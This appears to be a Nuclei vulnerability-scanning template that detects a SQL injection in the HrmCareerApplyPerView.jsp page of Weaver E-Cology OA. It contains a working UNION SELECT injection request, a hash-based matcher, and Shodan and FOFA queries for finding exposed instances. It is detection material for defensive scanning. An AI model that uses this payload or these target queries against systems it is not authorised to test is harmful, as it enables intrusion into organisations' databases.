id: weaver-ecology-hrmcareer-sqli

info:
  name: Weaver E-Cology HrmCareerApplyPerView - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    There is a SQL injection vulnerability in the HrmCareerApplyPerView.jsp file of Panwei OA E-Cology. An attacker can obtain sensitive files in the server database through the vulnerability.
  reference:
    - https://github.com/ibaiw/2023Hvv/blob/556de69ffc370fd9827e2cf5027373543e2513d4/%E6%B3%9B%E5%BE%AE%20HrmCareerApplyPerView%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md?plain=1#L3
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
    product: e-cology
    vendor: weaver
  tags: ecology,weaver,oa,sqli,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','{{num}}')),4,5,6,7"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a7e53b89fb5ffd6dd42ddf631d69d7741f7e6b12fe1242519bc2cdef88856ff90220194253e6cfdcfafa96b8c04f12af9d5754b8689d781e4e82c5e2a28b7f8da2fd:922c64590222798bb761d5b6d8e72950